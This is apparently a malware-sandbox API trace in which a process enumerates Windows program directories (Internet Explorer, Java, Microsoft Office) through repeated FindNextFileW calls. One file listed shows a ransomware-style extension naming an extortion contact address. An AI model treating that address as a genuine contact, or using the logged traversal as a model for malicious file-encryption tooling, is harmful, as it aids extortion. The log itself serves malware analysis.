	[0179.900] FindNextFileW (in: hFindFile=0x3cf0e28, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x23f, dwReserved1=0xffffe240, cFileName="wab32.dll", cAlternateFileName="")) returned 1
	[0179.900] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0179.902] FindNextFileW (in: hFindFile=0x3cf0de8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="System", cAlternateFileName="")) returned 0
	[0179.902] FindClose (in: hFindFile=0x3cf0de8 | out: hFindFile=0x3cf0de8) returned 1
	[0179.902] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0179.902] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9bbbed4f, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x9bbbed4f, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9bbbed4f, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DESKTO~1.YG")) returned 1
	[0179.903] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42b4080, Size=0x4000) returned 0x42b4080
	[0179.904] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0
	[0179.904] FindClose (in: hFindFile=0x3cf08e8 | out: hFindFile=0x3cf08e8) returned 1
	[0179.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.904] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1
	[0179.904] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.904] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5470cd00, ftCreationTime.dwHighDateTime=0x1d4ca9a, ftLastAccessTime.dwLowDateTime=0xbf8007b0, ftLastAccessTime.dwHighDateTime=0x1d4bd4c, ftLastWriteTime.dwLowDateTime=0xbf8007b0, ftLastWriteTime.dwHighDateTime=0x1d4bd4c, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="parents.exe", cAlternateFileName="")) returned 1
	[0179.905] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0179.905] FindNextFileW (in: hFindFile=0x3cf0be8, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1
	[0179.905] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0179.905] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Java", cAlternateFileName="")) returned 1
	[0179.906] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0179.906] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1
	[0179.909] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0179.909] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1
	[0180.003] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42b4080, Size=0x8000) returned 0x42b4080
	[0180.003] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="resource.dll", cAlternateFileName="")) returned 1
	[0180.004] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.004] FindNextFileW (in: hFindFile=0x3cf1068, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1
	[0180.004] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0180.004] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1
	[0180.005] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.005] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="applet", cAlternateFileName="")) returned 1
	[0180.005] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.005] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x562, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="calendars.properties", cAlternateFileName="CALEND~1.PRO")) returned 1
	[0180.006] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.006] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b6bdff, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b6bdff, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b6bdff, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x15ac, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="content-types.properties", cAlternateFileName="CONTEN~1.PRO")) returned 1
	[0180.007] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.007] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8ed9405, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8ed9405, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa900a6f7, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ce7de, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="deploy.jar", cAlternateFileName="")) returned 1
	[0180.008] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.008] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c0476d, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c0476d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c0476d, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf58, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="flavormap.properties", cAlternateFileName="FLAVOR~1.PRO")) returned 1
	[0180.009] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.009] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c2a9b3, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c2a9b3, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x368a, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="hijrah-config-umalqura.properties", cAlternateFileName="HIJRAH~1.PRO")) returned 1
	[0180.010] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4280050 | out: hHeap=0x6a0000) returned 1
	[0180.010] FindNextFileW (in: hFindFile=0x3cf0c28, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8c2a9b3, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa129361a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cursors", cAlternateFileName="")) returned 0
	[0180.010] FindClose (in: hFindFile=0x3cf0c28 | out: hFindFile=0x3cf0c28) returned 1
	[0180.010] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.010] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="javafx.properties", cAlternateFileName="JAVAFX~1.PRO")) returned 1
	[0180.010] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.010] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x88dc5, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="jfr.jar", cAlternateFileName="")) returned 1
	[0180.011] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.011] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17d, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="management-agent.jar", cAlternateFileName="MANAGE~1.JAR")) returned 1
	[0180.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.012] FindNextFileW (in: hFindFile=0x3cf0c68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0xffffbdfd, dwReserved1=0x201, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1
	[0180.012] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0180.014] FindNextFileW (in: hFindFile=0x3cf0fe8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LICENSE", cAlternateFileName="")) returned 1
	[0180.014] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0180.014] FindNextFileW (in: hFindFile=0x3cf0a28, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0de2f82, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xafba0b05, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="jre1.8.0_144", cAlternateFileName="JRE18~1.0_1")) returned 0
	[0180.014] FindClose (in: hFindFile=0x3cf0a28 | out: hFindFile=0x3cf0a28) returned 1
	[0180.014] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42f80c0 | out: hHeap=0x6a0000) returned 1
	[0180.014] FindNextFileW (in: hFindFile=0x3cf0da8, lpFindFileData=0x38dfa7c | out: lpFindFileData=0x38dfa7c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x9c69f05a, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9c69f05a, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x440, dwReserved1=0xffffbe4e, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1
	[0180.194] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0180.194] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x831d63af, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x9e4b7603, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9e4b7603, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="PackageManifests", cAlternateFileName="PACKAG~1")) returned 1
	[0180.199] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3c50068 | out: hHeap=0x6a0000) returned 1
	[0180.199] FindNextFileW (in: hFindFile=0x3cf1028, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffc1ed, dwReserved1=0x1ef, cFileName="root", cAlternateFileName="")) returned 1
	[0180.201] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x42b4080, Size=0x10000) returned 0x42b4080
	[0180.203] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0180.203] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="CLIPART", cAlternateFileName="")) returned 1
	[0180.966] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0180.966] FindNextFileW (in: hFindFile=0x3cf0a68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1
	[0181.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x431a0e0 | out: hHeap=0x6a0000) returned 1
	[0181.379] FindNextFileW (in: hFindFile=0x3cf0ee8, lpFindFileData=0x38df08c | out: lpFindFileData=0x38df08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1113bba3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1113bba3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Backgrounds", cAlternateFileName="BACKGR~1")) returned 0
	[0181.379] FindClose (in: hFindFile=0x3cf0ee8 | out: hFindFile=0x3cf0ee8) returned 1
	[0181.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4270048 | out: hHeap=0x6a0000) returned 1
	[0181.379] FindNextFileW (in: hFindFile=0x3cf0a68, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104b75c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x104b75c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x104b75c6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 0
	[0181.379] FindClose (in: hFindFile=0x3cf0a68 | out: hFindFile=0x3cf0a68) returned 1
	[0181.379] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0181.381] FindNextFileW (in: hFindFile=0x3cf08e8, lpFindFileData=0x38df584 | out: lpFindFileData=0x38df584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114a91d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Document Themes 16", cAlternateFileName="DOCUME~1")) returned 1
	[0181.384] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0181.385] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11377f40, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x11482f7f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11482f7f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0181.385] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0181.385] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x11436ace, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0181.388] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x42a3070 | out: hHeap=0x6a0000) returned 1
	[0181.388] FindNextFileW (in: hFindFile=0x3cf0ae8, lpFindFileData=0x38df308 | out: lpFindFileData=0x38df308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x213, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
